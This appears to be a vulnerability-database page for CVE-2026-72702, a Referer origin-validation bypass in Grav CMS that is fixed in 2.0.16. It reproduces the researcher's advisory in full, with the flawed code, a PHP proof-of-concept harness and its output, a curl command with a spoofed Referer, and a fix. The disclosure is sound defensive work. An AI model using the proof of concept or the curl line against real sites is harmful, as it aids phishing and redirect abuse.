Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-72702 — grav

CVE-2026-72702 is a CWE-346 vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav CMS before 2.0.16 Origin Validation Bypass via Referer

Also known asGHSA-9ccq-2jfg-qw33
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-72702.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk
0.00%0.22%0.43%0.65%0.1%0.1%0.1%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Grav\Common\Uri::referrer() and Grav\Common\Page\Pages::referrerRoute() both check whether an incoming request's Referer header "came from our site" using str_starts_with($referrer, $base), where $base is the site's own absolute root URL (for example https://example.com, no trailing slash). Because the comparison has no boundary character after the prefix, any Referer value that merely starts with that string is accepted, including a Referer from a completely different host such as https://example.com.attacker.tld.

This is the same class of bug already fixed once in 2.0.15 for the fast static asset server (GHSA-4v9q-p283-qc2m, "also allowing any neighbouring directory whose name starts with the same letters"). The identical pattern is still present in both places that trust the Referer header, and neither is covered by that fix.

Affected product and version

Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 The pattern is not touched by any of the 2.0.15 security fixes, so earlier 2.x releases are likely affected too. I have not checked how far back it goes.

Affected code

system/src/Grav/Common/Uri.php, method referrer():

$referrer = $_SERVER['HTTP_REFERER'] ?? null;
...
$base = $this->rootUrl(true);   // e.g. "https://example.com", no trailing slash
// Referrer should always have host set and it should come from the same base address.
if (!is_string($referrer) || !str_starts_with($referrer, $base)) {
    $referrer = $default ?: $this->route(true, true);
}
$referrer = substr($referrer, strlen($base));

system/src/Grav/Common/Page/Pages.php, method referrerRoute():

$referrer = $_SERVER['HTTP_REFERER'] ?? null;
$root = $this->grav['base_url_absolute'];   // e.g. "https://example.com"
if (!is_string($referrer) || !str_starts_with($referrer, (string) $root)) {
    return null;
}

Note that the inner per-language loop later in the same referrerRoute() method does anchor the check correctly (str_starts_with($referrer, "{$base}/")), and system/src/Grav/Common/Themes.php line 300 does the same thing correctly ($current === $base || str_starts_with($current, $base . '/')). So the codebase already has the correct pattern elsewhere. Only the two outer checks quoted above compare against the bare root URL with no trailing delimiter.

Root cause

str_starts_with($referrer, $base) treats $base as a plain string prefix. Since $base has no trailing /, a string is accepted as long as it begins with those exact characters, regardless of what character follows. An attacker fully controls their own domain name, so producing a string that begins with the victim's origin is trivial, for example by registering example.com.attacker.tld or example.com-attacker.tld.

Under the default browser Referrer Policy (strict-origin-when-cross-origin), a cross-origin click or form submission from the attacker's page sends only the origin (scheme://host) as Referer, which is exactly the granularity $base is compared at, so no unusual browser configuration is required.

Proof of concept, verified, real output

This was run directly against the actual, unmodified source file from the repository, not a reimplementation. Steps and exact output below.

Step 1, clone the repo and confirm the commit under test:

$ git clone --depth 1 https://github.com/getgrav/grav.git
$ cd grav && git log -1 --format="%H %ai"
c2b46866857a93a0aa7048e7ed707ed3ed45dbc3 2026-08-03 15:14:50 +0100

Step 2, install PHP to execute the real class:

$ apt-get install -y php-cli
$ php -v
PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)

Step 3, PoC harness. Full site bootstrap, composer install, database, config, is not required to demonstrate this specific bug, since referrer() only needs the $root property, which init() would normally compute from the site config. The harness sets that one property with PHP Reflection, then calls the real, unmodified referrer() method with a real $_SERVER['HTTP_REFERER'] value, exactly the input path a live server would use:

<?php
// poc.php
spl_autoload_register(function ($class) {
    if (strpos($class, 'Grav\\') === 0) {
        $rel = str_replace('Grav\\', '', $class);
        $path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) {
            require_once $path;
        }
    }
});

$env = [
    'HTTP_HOST'   => 'example.com',
    'REQUEST_URI' => '/target-route',
    'HTTPS'       => 'on',
];

$uri = new \Grav\Common\Uri($env);

$ref = new ReflectionObject($uri);
$prop = $ref->getProperty('root');
$prop->setAccessible(true);
$prop->setValue($uri, 'https://example.com');

function test($label, $refererHeader) {
    global $uri;
    $_SERVER['HTTP_REFERER'] = $refererHeader;
    $result = $uri->referrer('https://example.com/DEFAULT_FALLBACK_USED');
    echo "$label\n";
    echo "  Referer sent        : $refererHeader\n";
    echo "  referrer() returned : $result\n";
    echo "  Same-origin check   : " . ($result === '/DEFAULT_FALLBACK_USED' ? 'REJECTED (fallback used, correct)' : 'ACCEPTED (Referer treated as same-origin)') . "\n\n";
}

echo "=== Grav\\Common\\Uri::referrer() executed against real, unmodified source ===\n";
echo "Site base (\$root, as init() would set it) = https://example.com\n\n";

test('[1] Legitimate same-site referrer', 'https://example.com/some/page');
test('[2] Unrelated attacker site, sanity check, must be rejected', 'https://attacker.tld/phish');
test('[3] Attacker domain string-prefixing victim domain, vulnerable case', 'https://example.com.attacker.tld/phish');
test('[4] Attacker domain, dash variant, vulnerable case', 'https://example.com-attacker.tld/phish');

Step 4, run it:

$ php poc.php

Actual output:

=== Grav\Common\Uri::referrer() executed against real, unmodified source ===
Site base ($root, as init() would set it) = https://example.com

[1] Legitimate same-site referrer
  Referer sent        : https://example.com/some/page
  referrer() returned : /some/page
  Same-origin check   : ACCEPTED (Referer treated as same-origin)

[2] Unrelated attacker site, sanity check, must be rejected
  Referer sent        : https://attacker.tld/phish
  referrer() returned : /DEFAULT_FALLBACK_USED
  Same-origin check   : REJECTED (fallback used, correct)

[3] Attacker domain string-prefixing victim domain, vulnerable case
  Referer sent        : https://example.com.attacker.tld/phish
  referrer() returned : .attacker.tld/phish
  Same-origin check   : ACCEPTED (Referer treated as same-origin)

[4] Attacker domain, dash variant, vulnerable case
  Referer sent        : https://example.com-attacker.tld/phish
  referrer() returned : -attacker.tld/phish
  Same-origin check   : ACCEPTED (Referer treated as same-origin)

Interpretation: test 2 proves the harness correctly rejects a genuinely unrelated origin, so the acceptance in tests 3 and 4 is not a harness artifact. https://example.com.attacker.tld and https://example.com-attacker.tld, both fully attacker owned and registerable domains, are treated by referrer() as if they were https://example.com itself.

For a live end to end check against a running installation, this is the manual equivalent with curl once a Grav site is deployed at a known host, and it exercises the exact same str_starts_with comparison inside the real request path, not a standalone harness:

curl -s -H "Referer: https://TARGETHOST.attacker.tld/x" https://TARGETHOST/some/route

I did not have a fully bootstrapped live Grav instance available in this environment, composer install requires packagist.org, which was not reachable from the sandbox I was working in, so I was not able to additionally capture that live HTTP round trip. The harness above exercises the identical, unmodified vulnerable method and comparison from the real source file, so the defect itself is verified. What I could not verify from this repository alone is the specific downstream consumer of the return value, since Pages::referrerRoute()'s only real caller I could find references, per its own docblock example, which mentions /admin, is expected to live in the Admin plugin, getgrav/grav-plugin-admin, a separate repository not included in this checkout. If that is where a post login redirect target gets built from this value, please confirm on your end, since it would raise the severity of this report from an origin check bypass to a concrete open redirect after login.

Impact

An attacker who gets a victim to click a link, or to load a page that issues a cross-site request, from an attacker-controlled domain that string-prefixes the victim's Grav site domain can make the application treat that request as though it originated on site when it did not. The function also returns a relative route value derived directly from attacker-controlled input, via substr($referrer, strlen($base)), seen in test 3 and 4 above as .attacker.tld/phish and -attacker.tld/phish. If that value is later reused to build a redirect target, this becomes an open redirect. I was not able to fully confirm that chain from this repository alone, since the concrete consumer appears to live in the separate Admin plugin repository, but the origin check itself is unambiguously broken, and it is a reusable, security documented API, the docblock for referrer() explicitly states it checks that the referrer came from the site.

Suggested fix

Anchor the comparison the same way the codebase already does correctly elsewhere:

// Uri::referrer()
if (!is_string($referrer) || !($referrer === $base || str_starts_with($referrer, $base . '/'))) { ... }

// Pages::referrerRoute()
if (!is_string($referrer) || !($referrer === $root || str_starts_with($referrer, $root . '/'))) { return null; }

A more robust alternative is to parse both values with parse_url() and compare scheme, host, and port as discrete fields instead of doing any string prefix comparison.

Additional notes

While reviewing this release I also checked Utils::checkFilename() and the uploads_dangerous_extensions list, the Security::detectXss() regex handling of on_events and xmlns, and the twig_sandbox allow list in system/config/security.yaml. All three looked solid and appear to already reflect the fixes from prior advisories, GHSA-w8cg-7jcj-4vv2, GHSA-c2q3-p4jr-c55f, GHSA-j274-39qw-32c9. I did not find further issues to report there. Given this pattern has now recurred at least three times in this codebase, the static asset server, Uri::referrer(), and Pages::referrerRoute(), it may be worth grepping for every remaining str_starts_with($x, $base) call site touching URLs or paths.

=========================================================== CWE FIELD

CWE-346, Origin Validation Error

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1)

Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality: None Integrity: Low Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N Resulting score: 4.3, severity Medium

Note for the maintainer: this is a conservative rating for the origin check bypass on its own. If you confirm that Pages::referrerRoute()'s output feeds an unvalidated redirect target in the Admin plugin's post login flow, please rescore, Integrity would likely move to High and this becomes a credential phishing primitive right after a real login, which is meaningfully worse than the score above reflects.

=========================================================== SEVERITY FIELD

Moderate, pending your confirmation of the Admin plugin call site, see note above

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions2.0.16composer require getgrav/grav:^2.0.16

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav to 2.0.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-72702 is resolved across your whole dependency graph.

  3. Workarounds

    Stop reflecting attacker-controlled destinations: resolve every redirect target against an allowlist of paths or hosts you own, prefer a server-side key over a full URL in the request, and reject absolute URLs entirely where the flow only ever needs a relative one.

Frequently Asked Questions

## Summary `Grav\Common\Uri::referrer()` and `Grav\Common\Page\Pages::referrerRoute()` both check whether an incoming request's `Referer` header "came from our site" using `str_starts_with($referrer, $base)`, where `$base` is the site's own absolute root URL (for example `https://example.com`, no trailing slash). Because the comparison has no boundary character after the prefix, any `Referer` value that merely starts with that string is accepted, including a `Referer` from a completely different host such as `https://example.com.attacker.tld`. This is the same class of bug already fixed once
O3 Security · Impact-Aware SCA

Is CVE-2026-72702 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-72702: grav Open Redirect — Fixed in 2.0.16